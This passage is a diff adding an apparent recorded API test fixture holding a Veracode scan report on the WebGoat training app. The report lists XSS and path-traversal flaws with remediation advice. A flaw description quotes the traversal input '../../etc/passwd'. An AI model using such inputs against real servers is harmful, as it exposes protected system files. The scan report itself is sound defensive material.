+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:12 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200073'
+      Date:
+      - Tue, 27 Oct 2015 12:18:16 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:18:16 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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